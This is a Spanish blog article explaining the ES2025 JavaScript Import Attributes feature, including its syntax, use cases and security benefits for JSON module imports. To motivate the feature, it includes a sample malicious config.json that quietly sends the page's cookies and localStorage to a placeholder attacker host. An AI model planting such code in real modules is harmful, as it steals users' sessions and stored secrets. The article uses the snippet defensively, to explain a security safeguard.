Lo nuevo de JavaScript ES2025: Import Attributes

Una nueva forma de hacer que las importaciones de módulos sean más seguras.

3 min de lectura Programación JavaScript JSON

JSON import attributes

Baseline 2025 newly available
Supported in Chrome: yes. chrome Supported in Edge: yes. edge Supported in Firefox: yes. firefox Supported in Safari: yes. safari

Since April 2025 this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.

JSON import attributes on Web Platform Status

JavaScript incluyó Import Attributes, una característica que te permite declarar explícitamente qué tipo de módulo estás importando. Esta adición aporta mayor seguridad y claridad a las importaciones de módulos, especialmente para JSON y otros módulos que no son de JavaScript.

El problema con las extensiones de archivo

Al importar módulos en la web, no podemos usar de forma fiable las extensiones de archivo para determinar el tipo de módulo. Un servidor podría enviar código JavaScript incluso cuando se solicita un archivo con extensión .json, lo que podría crear riesgos de seguridad:

main.js
import config from "./config.json";

Lo que esperas recibir:

config.json
{
  "accessToken": "secret-key",
  "refreshToken": "secret-key",
  "expiresAt": "2125-01-21T21:35:34.607Z"
}

Lo que un servidor comprometido podría enviar en su lugar:

config.json
export default (function () {
  // Envía sus claves API a un atacante
  fetch("https://attacker.hack", {
    method: "POST",
    body: JSON.stringify({
      cookies: document.cookie,
      localStorage: window.localStorage
    })
  });
 
  // Luego devuelve lo que parece una configuración normal
  return {
    accessToken: "secret-key",
    refreshToken: "secret-key",
    expiresAt: "2125-01-21T21:35:34.607Z"
  }
})();

La solución: Import Attributes

Los Import Attributes te permiten declarar explícitamente qué tipo de módulo esperas recibir, creando un contrato que los entornos de JavaScript deben hacer cumplir:

main.js
- // SIN Import Attributes - potencialmente inseguro
- import config from "./config.json";
+ // CON Import Attributes - importación segura de JSON
+ import config from "./config.json" with { type: "json" };

¿Dónde se pueden usar los Import Attributes?

La sintaxis funciona de manera consistente en diferentes escenarios de importación:

// Importaciones regulares
import config from "./config.json" with { type: "json" };
 
// Importaciones dinámicas
const config = await import("./config.json", {
  with: { type: "json" }
});
 
// Re-exportaciones
export { apiKey } from "./config.json" with { type: "json" };
 
// Módulos JavaScript
import module from "./module.js" with { type: "javascript" };
 
// Web Workers
new Worker("worker.wasm", {
  type: "module",
  with: { type: "webassembly" }
});

Beneficios clave

  • Seguridad: Al importar módulos JSON, el atributo type: "json" garantiza que recibirás datos JSON o un error, pero nunca código ejecutable.
  • Consistencia: Proporciona una forma estándar de manejar diferentes tipos de módulos en todos los entornos de JavaScript.
  • Extensibilidad: Aunque los módulos JSON son el primer caso de uso, la sintaxis está diseñada para admitir futuros tipos de módulos y atributos de metadatos adicionales.
  • Control de Caché: Los hosts (entornos de ejecución) pueden usar los atributos como parte de su estrategia de caché de módulos, y el comportamiento es definido por cada entorno.

Aplicaciones prácticas

  • Módulos JSON: El caso de uso principal de los atributos de importación es cargar módulos JSON de forma fiable. Al especificar type: "json", garantizas que el servidor entregue los datos como JSON y no como código potencialmente malicioso.
  • Importaciones dinámicas: Los atributos de importación permiten usar importaciones dinámicas (await import()) y tener control sobre el tipo de módulo, lo que las hace más flexibles para diversos casos de uso.

Fuentes